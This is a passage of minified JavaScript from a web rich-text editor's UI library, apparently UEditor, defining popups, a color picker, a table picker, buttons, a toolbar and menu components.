- b){if(a.style.removeProperty)a.style.removeProperty(b);else if(a.style.removeAttribute)a.style.removeAttribute(b);else throw"";},contains:function(a,b){return a&&b&&(a===b?!1:a.contains?a.contains(b):a.compareDocumentPosition(b)&16)},startDrag:function(a,b,c){function d(a){b.ondragmove(a.clientX-e,a.clientY-f,a);a.stopPropagation?a.stopPropagation():a.cancelBubble=!0}c=c||document;var e=a.clientX,f=a.clientY;if(c.addEventListener){var h=function(a){c.removeEventListener("mousemove",d,!0);c.removeEventListener("mouseup",
- h,!0);window.removeEventListener("mouseup",h,!0);b.ondragstop()};c.addEventListener("mousemove",d,!0);c.addEventListener("mouseup",h,!0);window.addEventListener("mouseup",h,!0);a.preventDefault()}else{var u=a.srcElement;u.setCapture();var v=function(){u.releaseCapture();u.detachEvent("onmousemove",d);u.detachEvent("onmouseup",v);u.detachEvent("onlosecaptrue",v);b.ondragstop()};u.attachEvent("onmousemove",d);u.attachEvent("onmouseup",v);u.attachEvent("onlosecaptrue",v);a.returnValue=!1}b.ondragstart()},
- getFixedLayer:function(){var b=document.getElementById("edui_fixedlayer");null==b&&(b=document.createElement("div"),b.id="edui_fixedlayer",document.body.appendChild(b),a.ie&&8>=a.version?(b.style.position="absolute",d.on(window,"scroll",e),d.on(window,"resize",q.editor.utils.defer(e,0,!0)),setTimeout(e)):b.style.position="fixed",b.style.left="0",b.style.top="0",b.style.width="0",b.style.height="0");return b},makeUnselectable:function(b){if(a.opera||a.ie&&9>a.version){if(b.unselectable="on",b.hasChildNodes())for(var c=
- 0;c<b.childNodes.length;c++)1==b.childNodes[c].nodeType&&h.makeUnselectable(b.childNodes[c])}else void 0!==b.style.MozUserSelect?b.style.MozUserSelect="none":void 0!==b.style.WebkitUserSelect?b.style.WebkitUserSelect="none":void 0!==b.style.KhtmlUserSelect&&(b.style.KhtmlUserSelect="none")}}})();(function(){var f=q.editor.utils,a=q.editor.ui.uiUtils,d=q.editor.EventBase,c=q.editor.ui.UIBase=function(){};c.prototype={className:"",uiName:"",initOptions:function(b){for(var c in b)this[c]=b[c];this.id=
- this.id||"edui"+a.uid()},initUIBase:function(){this._globalKey=f.unhtml(a.setGlobal(this.id,this))},render:function(b){for(var c=this.renderHtml(),c=a.createElementByHtml(c),d=e.getElementsByTagName(c,"*"),f="edui-"+(this.theme||this.editor.options.theme),l=document.getElementById("edui_fixedlayer"),n=0,m;m=d[n++];)e.addClass(m,f);e.addClass(c,f);l&&(l.className="",e.addClass(l,f));d=this.getDom();null!=d?(d.parentNode.replaceChild(c,d),a.copyAttributes(c,d)):("string"==typeof b&&(b=document.getElementById(b)),
- b=b||a.getFixedLayer(),e.addClass(b,f),b.appendChild(c));this.postRender()},getDom:function(a){return a?document.getElementById(this.id+"_"+a):document.getElementById(this.id)},postRender:function(){this.fireEvent("postrender")},getHtmlTpl:function(){return""},formatHtml:function(a){var c="edui-"+this.uiName;return a.replace(/##/g,this.id).replace(/%%-/g,this.uiName?c+"-":"").replace(/%%/g,(this.uiName?c:"")+" "+this.className).replace(/\$\$/g,this._globalKey)},renderHtml:function(){return this.formatHtml(this.getHtmlTpl())},
- dispose:function(){var b=this.getDom();b&&q.editor.dom.domUtils.remove(b);a.unsetGlobal(this.id)}};f.inherits(c,d)})();(function(){var e=q.editor.utils,a=q.editor.ui.UIBase,d=q.editor.ui.Separator=function(a){this.initOptions(a);this.initSeparator()};d.prototype={uiName:"separator",initSeparator:function(){this.initUIBase()},getHtmlTpl:function(){return'<div id="##" class="edui-box %%"></div>'}};e.inherits(d,a)})();(function(){var e=q.editor.utils,a=q.editor.dom.domUtils,d=q.editor.ui.UIBase,c=q.editor.ui.uiUtils,
- b=q.editor.ui.Mask=function(a){this.initOptions(a);this.initUIBase()};b.prototype={getHtmlTpl:function(){return'<div id="##" class="edui-mask %%" onmousedown="return $$._onMouseDown(event, this);"></div>'},postRender:function(){var b=this;a.on(window,"resize",function(){setTimeout(function(){b.isHidden()||b._fill()})})},show:function(a){this._fill();this.getDom().style.display="";this.getDom().style.zIndex=a},hide:function(){this.getDom().style.display="none";this.getDom().style.zIndex=""},isHidden:function(){return"none"==
- this.getDom().style.display},_onMouseDown:function(){return!1},_fill:function(){var a=this.getDom(),b=c.getViewportRect();a.style.width=b.width+"px";a.style.height=b.height+"px"}};e.inherits(b,d)})();(function(){function e(a,b){for(var c=0;c<g.length;c++){var d=g[c];if(!d.isHidden()&&!1!==d.queryAutoHide(b)){if(a&&/scroll/ig.test(a.type)&&"edui-wordpastepop"==d.className)return;d.hide()}}g.length&&d.editor.fireEvent("afterhidepop")}var a=q.editor.utils,d=q.editor.ui.uiUtils,c=q.editor.dom.domUtils,
- b=q.editor.ui.UIBase,h=q.editor.ui.Popup=function(a){this.initOptions(a);this.initPopup()},g=[];h.postHide=e;var k=["edui-anchor-topleft","edui-anchor-topright","edui-anchor-bottomleft","edui-anchor-bottomright"];h.prototype={SHADOW_RADIUS:5,content:null,_hidden:!1,autoRender:!0,canSideLeft:!0,canSideUp:!0,initPopup:function(){this.initUIBase();g.push(this)},getHtmlTpl:function(){return'<div id="##" class="edui-popup %%" onmousedown="return false;"> <div id="##_body" class="edui-popup-body"> <iframe style="position:absolute;z-index:-1;left:0;top:0;background-color: transparent;" frameborder="0" width="100%" height="100%" src="javascript:"></iframe> <div class="edui-shadow"></div> <div id="##_content" class="edui-popup-content">'+
- this.getContentHtmlTpl()+" </div> </div></div>"},getContentHtmlTpl:function(){return this.content?"string"==typeof this.content?this.content:this.content.renderHtml():""},_UIBase_postRender:b.prototype.postRender,postRender:function(){this.content instanceof b&&this.content.postRender();if(this.captureWheel&&!this.captured){this.captured=!0;for(var a=(document.documentElement.clientHeight||document.body.clientHeight)-80,d=this.getDom().offsetHeight,e=c.getXY(this.combox.getDom()).y,f=this.getDom("content"),
- g=this;e+d>a;)d-=30,f.style.height=d+"px";if(window.XMLHttpRequest)c.on(f,"onmousewheel"in document.body?"mousewheel":"DOMMouseScroll",function(a){a.preventDefault?a.preventDefault():a.returnValue=!1;f.scrollTop=a.wheelDelta?f.scrollTop-60*(a.wheelDelta/120):f.scrollTop-60*(a.detail/-3)});else c.on(this.getDom(),"mousewheel",function(a){a.returnValue=!1;g.getDom("content").scrollTop-=60*(a.wheelDelta/120)})}this.fireEvent("postRenderAfter");this.hide(!0);this._UIBase_postRender()},_doAutoRender:function(){!this.getDom()&&
- this.autoRender&&this.render()},mesureSize:function(){var a=this.getDom("content");return d.getClientRect(a)},fitSize:function(){if(this.captureWheel&&this.sized)return this.__size;this.sized=!0;var a=this.getDom("body");a.style.width="";a.style.height="";var b=this.mesureSize();a.style.width=this.captureWheel?-(-20-b.width)+"px":b.width+"px";a.style.height=b.height+"px";this.__size=b;this.captureWheel&&(this.getDom("content").style.overflow="auto");return b},showAnchor:function(a,b){this.showAnchorRect(d.getClientRect(a),
- b)},showAnchorRect:function(a,b,e){this._doAutoRender();var f=d.getViewportRect();this._show();e=this.fitSize();var g;b?(b=this.canSideLeft&&a.right+e.width>f.right&&a.left>e.width,f=this.canSideUp&&a.top+e.height>f.bottom&&a.bottom>e.height,g=b?a.left-e.width:a.right,a=f?a.bottom-e.height:a.top):(b=this.canSideLeft&&a.right+e.width>f.right&&a.left>e.width,f=this.canSideUp&&a.top+e.height>f.bottom&&a.bottom>e.height,g=b?a.right-e.width:a.left,a=f?a.top-e.height:a.bottom);e=this.getDom();d.setViewportOffset(e,
- {left:g,top:a});c.removeClasses(e,k);e.className+=" "+k[2*(f?1:0)+(b?1:0)];this.editor&&(e.style.zIndex=1*this.editor.container.style.zIndex+10,q.editor.ui.uiUtils.getFixedLayer().style.zIndex=e.style.zIndex-1)},showAt:function(a){var b=a.left;a=a.top;this.showAnchorRect({left:b,top:a,right:b,bottom:a,height:0,width:0},!1,!0)},_show:function(){this._hidden&&(this.getDom().style.display="",this._hidden=!1,this.fireEvent("show"))},isHidden:function(){return this._hidden},show:function(){this._doAutoRender();
- this._show()},hide:function(a){!this._hidden&&this.getDom()&&(this.getDom().style.display="none",this._hidden=!0,a||this.fireEvent("hide"))},queryAutoHide:function(a){return!a||!d.contains(this.getDom(),a)}};a.inherits(h,b);c.on(document,"mousedown",function(a){e(a,a.target||a.srcElement)});c.on(window,"scroll",function(a,b){e(a,b)})})();(function(){var e=q.editor.utils,a=q.editor.ui.UIBase,d=q.editor.ui.ColorPicker=function(a){this.initOptions(a);this.noColorText=this.noColorText||this.editor.getLang("clearColor");
- this.initUIBase()};d.prototype={getHtmlTpl:function(){for(var a=this.editor,d='<div id="##" class="edui-colorpicker %%"><div class="edui-colorpicker-topbar edui-clearfix"><div unselectable="on" id="##_preview" class="edui-colorpicker-preview"></div><div unselectable="on" class="edui-colorpicker-nocolor" onclick="$$._onPickNoColor(event, this);">'+this.noColorText+'</div></div><table class="edui-box" style="border-collapse: collapse;" onmouseover="$$._onTableOver(event, this);" onmouseout="$$._onTableOut(event, this);" onclick="return $$._onTableClick(event, this);" cellspacing="0" cellpadding="0"><tr style="border-bottom: 1px solid #ddd;font-size: 13px;line-height: 25px;color:#39C;padding-top: 2px"><td colspan="10">'+
- a.getLang("themeColor")+'</td> </tr><tr class="edui-colorpicker-tablefirstrow" >',e=0;e<c.length;e++)e&&0===e%10&&(d+="</tr>"+(60==e?'<tr style="border-bottom: 1px solid #ddd;font-size: 13px;line-height: 25px;color:#39C;"><td colspan="10">'+a.getLang("standardColor")+"</td></tr>":"")+"<tr"+(60==e?' class="edui-colorpicker-tablefirstrow"':"")+">"),d+=70>e?'<td style="padding: 0 2px;"><a hidefocus title="'+c[e]+'" onclick="return false;" href="javascript:" unselectable="on" class="edui-box edui-colorpicker-colorcell" data-color="#'+
- c[e]+'" style="background-color:#'+c[e]+";border:solid #ccc;"+(10>e||60<=e?"border-width:1px;":10<=e&&20>e?"border-width:1px 1px 0 1px;":"border-width:0 1px 0 1px;")+'"></a></td>':"";return d+"</tr></table></div>"},_onTableClick:function(a){(a=(a.target||a.srcElement).getAttribute("data-color"))&&this.fireEvent("pickcolor",a)},_onTableOver:function(a){if(a=(a.target||a.srcElement).getAttribute("data-color"))this.getDom("preview").style.backgroundColor=a},_onTableOut:function(){this.getDom("preview").style.backgroundColor=
- ""},_onPickNoColor:function(){this.fireEvent("picknocolor")}};e.inherits(d,a);var c="ffffff 000000 eeece1 1f497d 4f81bd c0504d 9bbb59 8064a2 4bacc6 f79646 f2f2f2 7f7f7f ddd9c3 c6d9f0 dbe5f1 f2dcdb ebf1dd e5e0ec dbeef3 fdeada d8d8d8 595959 c4bd97 8db3e2 b8cce4 e5b9b7 d7e3bc ccc1d9 b7dde8 fbd5b5 bfbfbf 3f3f3f 938953 548dd4 95b3d7 d99694 c3d69b b2a2c7 92cddc fac08f a5a5a5 262626 494429 17365d 366092 953734 76923c 5f497a 31859b e36c09 7f7f7f 0c0c0c 1d1b10 0f243e 244061 632423 4f6128 3f3151 205867 974806 c00000 ff0000 ffc000 ffff00 92d050 00b050 00b0f0 0070c0 002060 7030a0 ".split(" ")})();
- (function(){var e=q.editor.utils,a=q.editor.ui.uiUtils,d=q.editor.ui.UIBase,c=q.editor.ui.TablePicker=function(a){this.initOptions(a);this.initTablePicker()};c.prototype={defaultNumRows:10,defaultNumCols:10,maxNumRows:20,maxNumCols:20,numRows:10,numCols:10,lengthOfCellSide:22,initTablePicker:function(){this.initUIBase()},getHtmlTpl:function(){return'<div id="##" class="edui-tablepicker %%"><div class="edui-tablepicker-body"><div class="edui-infoarea"><span id="##_label" class="edui-label"></span></div><div class="edui-pickarea" onmousemove="$$._onMouseMove(event, this);" onmouseover="$$._onMouseOver(event, this);" onmouseout="$$._onMouseOut(event, this);" onclick="$$._onClick(event, this);"><div id="##_overlay" class="edui-overlay"></div></div></div></div>'},
- _UIBase_render:d.prototype.render,render:function(a){this._UIBase_render(a);this.getDom("label").innerHTML="0"+this.editor.getLang("t_row")+" x 0"+this.editor.getLang("t_col")},_track:function(a,c){var d=this.getDom("overlay").style,e=this.lengthOfCellSide;d.width=a*e+"px";d.height=c*e+"px";this.getDom("label").innerHTML=a+this.editor.getLang("t_col")+" x "+c+this.editor.getLang("t_row");this.numCols=a;this.numRows=c},_onMouseOver:function(b,c){var d=b.relatedTarget||b.fromElement;a.contains(c,d)||
- c===d||(this.getDom("label").innerHTML="0"+this.editor.getLang("t_col")+" x 0"+this.editor.getLang("t_row"),this.getDom("overlay").style.visibility="")},_onMouseOut:function(b,c){var d=b.relatedTarget||b.toElement;a.contains(c,d)||c===d||(this.getDom("label").innerHTML="0"+this.editor.getLang("t_col")+" x 0"+this.editor.getLang("t_row"),this.getDom("overlay").style.visibility="hidden")},_onMouseMove:function(b,c){this.getDom("overlay");var d=a.getEventOffset(b),e=this.lengthOfCellSide,f=Math.ceil(d.left/
- e),d=Math.ceil(d.top/e);this._track(f,d)},_onClick:function(){this.fireEvent("picktable",this.numCols,this.numRows)}};e.inherits(c,d)})();(function(){var e=q.editor.dom.domUtils,a=q.editor.ui.uiUtils,d='onmousedown="$$.Stateful_onMouseDown(event, this);" onmouseup="$$.Stateful_onMouseUp(event, this);"'+(q.editor.browser.ie?' onmouseenter="$$.Stateful_onMouseEnter(event, this);" onmouseleave="$$.Stateful_onMouseLeave(event, this);"':' onmouseover="$$.Stateful_onMouseOver(event, this);" onmouseout="$$.Stateful_onMouseOut(event, this);"');
- q.editor.ui.Stateful={alwalysHoverable:!1,target:null,Stateful_init:function(){this._Stateful_dGetHtmlTpl=this.getHtmlTpl;this.getHtmlTpl=this.Stateful_getHtmlTpl},Stateful_getHtmlTpl:function(){return this._Stateful_dGetHtmlTpl().replace(/stateful/g,function(){return d})},Stateful_onMouseEnter:function(a,b){this.target=b;if(!this.isDisabled()||this.alwalysHoverable)this.addState("hover"),this.fireEvent("over")},Stateful_onMouseLeave:function(a,b){if(!this.isDisabled()||this.alwalysHoverable)this.removeState("hover"),
- this.removeState("active"),this.fireEvent("out")},Stateful_onMouseOver:function(c,b){var d=c.relatedTarget;a.contains(b,d)||b===d||this.Stateful_onMouseEnter(c,b)},Stateful_onMouseOut:function(c,b){var d=c.relatedTarget;a.contains(b,d)||b===d||this.Stateful_onMouseLeave(c,b)},Stateful_onMouseDown:function(a,b){this.isDisabled()||this.addState("active")},Stateful_onMouseUp:function(a,b){this.isDisabled()||this.removeState("active")},Stateful_postRender:function(){this.disabled&&!this.hasState("disabled")&&
- this.addState("disabled")},hasState:function(a){return e.hasClass(this.getStateDom(),"edui-state-"+a)},addState:function(a){this.hasState(a)||(this.getStateDom().className+=" edui-state-"+a)},removeState:function(a){this.hasState(a)&&e.removeClasses(this.getStateDom(),["edui-state-"+a])},getStateDom:function(){return this.getDom("state")},isChecked:function(){return this.hasState("checked")},setChecked:function(a){!this.isDisabled()&&a?this.addState("checked"):this.removeState("checked")},isDisabled:function(){return this.hasState("disabled")},
- setDisabled:function(a){a?(this.removeState("hover"),this.removeState("checked"),this.removeState("active"),this.addState("disabled")):this.removeState("disabled")}}})();(function(){var e=q.editor.utils,a=q.editor.ui.UIBase,d=q.editor.ui.Stateful,c=q.editor.ui.Button=function(a){this.initOptions(a);this.initButton()};c.prototype={uiName:"button",label:"",title:"",showIcon:!0,showText:!0,initButton:function(){this.initUIBase();this.Stateful_init()},getHtmlTpl:function(){return'<div id="##" class="edui-box %%"><div id="##_state" stateful><div class="%%-wrap"><div id="##_body" unselectable="on" '+
- (this.title?'title="'+this.title+'"':"")+' class="%%-body" onmousedown="return false;" onclick="return $$._onClick();">'+(this.showIcon?'<div class="edui-box edui-icon"></div>':"")+(this.showText?'<div class="edui-box edui-label">'+this.label+"</div>":"")+"</div></div></div></div>"},postRender:function(){this.Stateful_postRender();this.setDisabled(this.disabled)},_onClick:function(){this.isDisabled()||this.fireEvent("click")}};e.inherits(c,a);e.extend(c.prototype,d)})();(function(){var e=q.editor.utils,
- a=q.editor.ui.uiUtils,d=q.editor.ui.UIBase,c=q.editor.ui.Stateful,b=q.editor.ui.SplitButton=function(a){this.initOptions(a);this.initSplitButton()};b.prototype={popup:null,uiName:"splitbutton",title:"",initSplitButton:function(){this.initUIBase();this.Stateful_init();if(null!=this.popup){var a=this.popup;this.popup=null;this.setPopup(a)}},_UIBase_postRender:d.prototype.postRender,postRender:function(){this.Stateful_postRender();this._UIBase_postRender()},setPopup:function(b){this.popup!==b&&(null!=
- this.popup&&this.popup.dispose(),b.addListener("show",e.bind(this._onPopupShow,this)),b.addListener("hide",e.bind(this._onPopupHide,this)),b.addListener("postrender",e.bind(function(){b.getDom("body").appendChild(a.createElementByHtml('<div id="'+this.popup.id+'_bordereraser" class="edui-bordereraser edui-background" style="width:'+(a.getClientRect(this.getDom()).width+20)+'px"></div>'));b.getDom().className+=" "+this.className},this)),this.popup=b)},_onPopupShow:function(){this.addState("opened")},
- _onPopupHide:function(){this.removeState("opened")},getHtmlTpl:function(){return'<div id="##" class="edui-box %%"><div '+(this.title?'title="'+this.title+'"':"")+' id="##_state" stateful><div class="%%-body"><div id="##_button_body" class="edui-box edui-button-body" onclick="$$._onButtonClick(event, this);"><div class="edui-box edui-icon"></div></div><div class="edui-box edui-splitborder"></div><div class="edui-box edui-arrow" onclick="$$._onArrowClick();"></div></div></div></div>'},showPopup:function(){var b=
- a.getClientRect(this.getDom());b.top-=this.popup.SHADOW_RADIUS;b.height+=this.popup.SHADOW_RADIUS;this.popup.showAnchorRect(b)},_onArrowClick:function(a,b){this.isDisabled()||this.showPopup()},_onButtonClick:function(){this.isDisabled()||this.fireEvent("buttonclick")}};e.inherits(b,d);e.extend(b.prototype,c,!0)})();(function(){var e=q.editor.utils,a=q.editor.ui.uiUtils,d=q.editor.ui.ColorPicker,c=q.editor.ui.Popup,b=q.editor.ui.SplitButton,h=q.editor.ui.ColorButton=function(a){this.initOptions(a);
- this.initColorButton()};h.prototype={initColorButton:function(){var a=this;this.popup=new c({content:new d({noColorText:a.editor.getLang("clearColor"),editor:a.editor,onpickcolor:function(b,c){a._onPickColor(c)},onpicknocolor:function(b,c){a._onPickNoColor(c)}}),editor:a.editor});this.initSplitButton()},_SplitButton_postRender:b.prototype.postRender,postRender:function(){this._SplitButton_postRender();this.getDom("button_body").appendChild(a.createElementByHtml('<div id="'+this.id+'_colorlump" class="edui-colorlump"></div>'));
- this.getDom().className+=" edui-colorbutton"},setColor:function(a){this.color=this.getDom("colorlump").style.backgroundColor=a},_onPickColor:function(a){!1!==this.fireEvent("pickcolor",a)&&(this.setColor(a),this.popup.hide())},_onPickNoColor:function(a){!1!==this.fireEvent("picknocolor")&&this.popup.hide()}};e.inherits(h,b)})();(function(){var e=q.editor.utils,a=q.editor.ui.Popup,d=q.editor.ui.TablePicker,c=q.editor.ui.SplitButton,b=q.editor.ui.TableButton=function(a){this.initOptions(a);this.initTableButton()};
- b.prototype={initTableButton:function(){var b=this;this.popup=new a({content:new d({editor:b.editor,onpicktable:function(a,c,d){b._onPickTable(c,d)}}),editor:b.editor});this.initSplitButton()},_onPickTable:function(a,b){!1!==this.fireEvent("picktable",a,b)&&this.popup.hide()}};e.inherits(b,c)})();(function(){var e=q.editor.utils,a=q.editor.ui.UIBase,d=q.editor.ui.AutoTypeSetPicker=function(a){this.initOptions(a);this.initAutoTypeSetPicker()};d.prototype={initAutoTypeSetPicker:function(){this.initUIBase()},
- getHtmlTpl:function(){var a=this.editor,b=a.options.autotypeset,d=a.getLang("autoTypeSet"),e="textAlignValue"+a.uid,f="imageBlockLineValue"+a.uid;return'<div id="##" class="edui-autotypesetpicker %%"><div class="edui-autotypesetpicker-body"><table ><tr><td nowrap colspan="2"><input type="checkbox" name="mergeEmptyline" '+(b.mergeEmptyline?"checked":"")+">"+d.mergeLine+'</td><td colspan="2"><input type="checkbox" name="removeEmptyline" '+(b.removeEmptyline?"checked":"")+">"+d.delLine+'</td></tr><tr><td nowrap colspan="2"><input type="checkbox" name="removeClass" '+
- (b.removeClass?"checked":"")+">"+d.removeFormat+'</td><td colspan="2"><input type="checkbox" name="indent" '+(b.indent?"checked":"")+">"+d.indent+'</td></tr><tr><td nowrap colspan="2"><input type="checkbox" name="textAlign" '+(b.textAlign?"checked":"")+">"+d.alignment+'</td><td colspan="2" id="'+e+'"><input type="radio" name="'+e+'" value="left" '+(b.textAlign&&"left"==b.textAlign?"checked":"")+">"+a.getLang("justifyleft")+'<input type="radio" name="'+e+'" value="center" '+(b.textAlign&&"center"==
- b.textAlign?"checked":"")+">"+a.getLang("justifycenter")+'<input type="radio" name="'+e+'" value="right" '+(b.textAlign&&"right"==b.textAlign?"checked":"")+">"+a.getLang("justifyright")+' </tr><tr><td nowrap colspan="2"><input type="checkbox" name="imageBlockLine" '+(b.imageBlockLine?"checked":"")+">"+d.imageFloat+'</td><td nowrap colspan="2" id="'+f+'"><input type="radio" name="'+f+'" value="none" '+(b.imageBlockLine&&"none"==b.imageBlockLine?"checked":"")+">"+a.getLang("default")+'<input type="radio" name="'+
- f+'" value="left" '+(b.imageBlockLine&&"left"==b.imageBlockLine?"checked":"")+">"+a.getLang("justifyleft")+'<input type="radio" name="'+f+'" value="center" '+(b.imageBlockLine&&"center"==b.imageBlockLine?"checked":"")+">"+a.getLang("justifycenter")+'<input type="radio" name="'+f+'" value="right" '+(b.imageBlockLine&&"right"==b.imageBlockLine?"checked":"")+">"+a.getLang("justifyright")+'</tr><tr><td nowrap colspan="2"><input type="checkbox" name="clearFontSize" '+(b.clearFontSize?"checked":"")+">"+
- d.removeFontsize+'</td><td colspan="2"><input type="checkbox" name="clearFontFamily" '+(b.clearFontFamily?"checked":"")+">"+d.removeFontFamily+'</td></tr><tr><td nowrap colspan="4"><input type="checkbox" name="removeEmptyNode" '+(b.removeEmptyNode?"checked":"")+">"+d.removeHtml+'</td></tr><tr><td nowrap colspan="4"><input type="checkbox" name="pasteFilter" '+(b.pasteFilter?"checked":"")+">"+d.pasteFilter+'</td></tr><tr><td nowrap colspan="4" align="right"><button >'+d.run+"</button></td></tr></table></div></div>"},
- _UIBase_render:a.prototype.render};e.inherits(d,a)})();(function(){function f(a){for(var b=a.editor.options.autotypeset,c=a.getDom(),d=a.editor.uid,f=null,f=null,h=e.getElementsByTagName(c,"input"),t=h.length-1,u;u=h[t--];)if(f=u.getAttribute("type"),"checkbox"==f&&(f=u.getAttribute("name"),b[f]&&delete b[f],u.checked))if(u=document.getElementById(f+"Value"+d))if(/input/ig.test(u.tagName))b[f]=u.value;else{u=u.getElementsByTagName("input");for(var v=u.length-1,p;p=u[v--];)if(p.checked){b[f]=p.value;
- break}}else b[f]=!0;c=e.getElementsByTagName(c,"select");for(t=0;d=c[t++];)h=d.getAttribute("name"),b[h]=b[h]?d.value:"";a.editor.options.autotypeset=b}var a=q.editor.utils,d=q.editor.ui.Popup,c=q.editor.ui.AutoTypeSetPicker,b=q.editor.ui.SplitButton,h=q.editor.ui.AutoTypeSetButton=function(a){this.initOptions(a);this.initAutoTypeSetButton()};h.prototype={initAutoTypeSetButton:function(){var a=this;this.popup=new d({content:new c({editor:a.editor}),editor:a.editor,hide:function(){!this._hidden&&this.getDom()&&
- (f(this),this.getDom().style.display="none",this._hidden=!0,this.fireEvent("hide"))}});var b=0;this.popup.addListener("postRenderAfter",function(){var c=this;b||(this.getDom().getElementsByTagName("button")[0].onclick=function(){f(c);a.editor.execCommand("autotypeset");c.hide()},b=1)});this.initSplitButton()}};a.inherits(h,b)})();(function(){var e=q.editor.utils,a=q.editor.ui.Popup,d=q.editor.ui.Stateful,c=q.editor.ui.UIBase,b=q.editor.ui.CellAlignPicker=function(a){this.initOptions(a);this.initSelected();
- this.initCellAlignPicker()};b.prototype={initSelected:function(){var a={top:0,middle:1,bottom:2},b={left:0,center:1,right:2};this.selected&&(this.selectedIndex=3*a[this.selected.valign]+b[this.selected.align])},initCellAlignPicker:function(){this.initUIBase();this.Stateful_init()},getHtmlTpl:function(){for(var a=["left","center","right"],b=null,c=-1,d=[],e=0;9>e;e++)b=this.selectedIndex===e?' class="edui-cellalign-selected" ':"",c=e%3,0===c&&d.push("<tr>"),d.push('<td index="'+e+'" '+b+' stateful><div class="edui-icon edui-'+
- a[c]+'"></div></td>'),2===c&&d.push("</tr>");return'<div id="##" class="edui-cellalignpicker %%"><div class="edui-cellalignpicker-body"><table onclick="$$._onClick(event);">'+d.join("")+"</table></div></div>"},getStateDom:function(){return this.target},_onClick:function(b){var c=b.target||b.srcElement;/icon/.test(c.className)&&(this.items[c.parentNode.getAttribute("index")].onclick(),a.postHide(b))},_UIBase_render:c.prototype.render};e.inherits(b,c);e.extend(b.prototype,d,!0)})();(function(){var f=
- q.editor.utils,a=q.editor.ui.Stateful,d=q.editor.ui.uiUtils,c=q.editor.ui.UIBase,b=q.editor.ui.PastePicker=function(a){this.initOptions(a);this.initPastePicker()};b.prototype={initPastePicker:function(){this.initUIBase();this.Stateful_init()},getHtmlTpl:function(){return'<div class="edui-pasteicon" onclick="$$._onClick(this)"></div><div class="edui-pastecontainer"><div class="edui-title">'+this.editor.getLang("pasteOpt")+'</div><div class="edui-button"><div title="'+this.editor.getLang("pasteSourceFormat")+
- '" onclick="$$.format(false)" stateful><div class="edui-richtxticon"></div></div><div title="'+this.editor.getLang("tagFormat")+'" onclick="$$.format(2)" stateful><div class="edui-tagicon"></div></div><div title="'+this.editor.getLang("pasteTextFormat")+'" onclick="$$.format(true)" stateful><div class="edui-plaintxticon"></div></div></div></div></div>'},getStateDom:function(){return this.target},format:function(a){this.editor.ui._isTransfer=!0;this.editor.fireEvent("pasteTransfer",a)},_onClick:function(a){var b=
- e.getNextDomNode(a),c=d.getViewportRect().height,f=d.getClientRect(b);b.style.top=f.top+f.height>c?-f.height-a.offsetHeight+"px":"";/hidden/ig.test(e.getComputedStyle(b,"visibility"))?(b.style.visibility="visible",e.addClass(a,"edui-state-opened")):(b.style.visibility="hidden",e.removeClasses(a,"edui-state-opened"))},_UIBase_render:c.prototype.render};f.inherits(b,c);f.extend(b.prototype,a,!0)})();(function(){var e=q.editor.utils,a=q.editor.ui.uiUtils,d=q.editor.ui.UIBase,c=q.editor.ui.Toolbar=function(a){this.initOptions(a);
- this.initToolbar()};c.prototype={items:null,initToolbar:function(){this.items=this.items||[];this.initUIBase()},add:function(a){this.items.push(a)},getHtmlTpl:function(){for(var a=[],c=0;c<this.items.length;c++)a[c]=this.items[c].renderHtml();return'<div id="##" class="edui-toolbar %%" onselectstart="return false;" onmousedown="return $$._onMouseDown(event, this);">'+a.join("")+"</div>"},postRender:function(){for(var b=this.getDom(),c=0;c<this.items.length;c++)this.items[c].postRender();a.makeUnselectable(b)},
- _onMouseDown:function(){return!1}};e.inherits(c,d)})();(function(){var e=q.editor.utils,a=q.editor.dom.domUtils,d=q.editor.ui.uiUtils,c=q.editor.ui.UIBase,b=q.editor.ui.Popup,h=q.editor.ui.Stateful,g=q.editor.ui.CellAlignPicker,k=q.editor.ui.Menu=function(a){this.initOptions(a);this.initMenu()},l={renderHtml:function(){return'<div class="edui-menuitem edui-menuseparator"><div class="edui-menuseparator-inner"></div></div>'},postRender:function(){},queryAutoHide:function(){return!0}};k.prototype={items:null,
- uiName:"menu",initMenu:function(){this.items=this.items||[];this.initPopup();this.initItems()},initItems:function(){for(var a=0;a<this.items.length;a++){var b=this.items[a];"-"==b?this.items[a]=this.getSeparator():b instanceof n||(b.editor=this.editor,b.theme=this.editor.options.theme,this.items[a]=this.createItem(b))}},getSeparator:function(){return l},createItem:function(a){a.menu=this;return new n(a)},_Popup_getContentHtmlTpl:b.prototype.getContentHtmlTpl,getContentHtmlTpl:function(){if(0==this.items.length)return this._Popup_getContentHtmlTpl();
- for(var a=[],b=0;b<this.items.length;b++)a[b]=this.items[b].renderHtml();return'<div class="%%-body">'+a.join("")+"</div>"},_Popup_postRender:b.prototype.postRender,postRender:function(){for(var b=this,c=0;c<this.items.length;c++){var e=this.items[c];e.ownerMenu=this;e.postRender()}a.on(this.getDom(),"mouseover",function(a){a=a||event;a=a.relatedTarget||a.fromElement;var c=b.getDom();d.contains(c,a)||c===a||b.fireEvent("over")});this._Popup_postRender()},queryAutoHide:function(a){if(a){if(d.contains(this.getDom(),
- a))return!1;for(var b=0;b<this.items.length;b++)if(!1===this.items[b].queryAutoHide(a))return!1}},clearItems:function(){for(var a=0;a<this.items.length;a++){var b=this.items[a];clearTimeout(b._showingTimer);clearTimeout(b._closingTimer);b.subMenu&&b.subMenu.destroy()}this.items=[]},destroy:function(){this.getDom()&&a.remove(this.getDom());this.clearItems()},dispose:function(){this.destroy()}};e.inherits(k,b);var n=q.editor.ui.MenuItem=function(c){this.initOptions(c);this.initUIBase();this.Stateful_init();
- if(this.subMenu&&!(this.subMenu instanceof k))if(c.className&&-1!=c.className.indexOf("aligntd")){var d=this;this.subMenu.selected=this.editor.queryCommandValue("cellalignment");this.subMenu=new b({content:new g(this.subMenu),parentMenu:d,editor:d.editor,destroy:function(){this.getDom()&&a.remove(this.getDom())}});this.subMenu.addListener("postRenderAfter",function(){a.on(this.getDom(),"mouseover",function(){d.addState("opened")})})}else this.subMenu=new k(this.subMenu)};n.prototype={label:"",subMenu:null,
- ownerMenu:null,uiName:"menuitem",alwalysHoverable:!0,getHtmlTpl:function(){return'<div id="##" class="%%" stateful onclick="$$._onClick(event, this);"><div class="%%-body">'+this.renderLabelHtml()+"</div></div>"},postRender:function(){var a=this;this.addListener("over",function(){a.ownerMenu.fireEvent("submenuover",a);a.subMenu&&a.delayShowSubMenu()});this.subMenu&&(this.getDom().className+=" edui-hassubmenu",this.subMenu.render(),this.addListener("out",function(){a.delayHideSubMenu()}),this.subMenu.addListener("over",
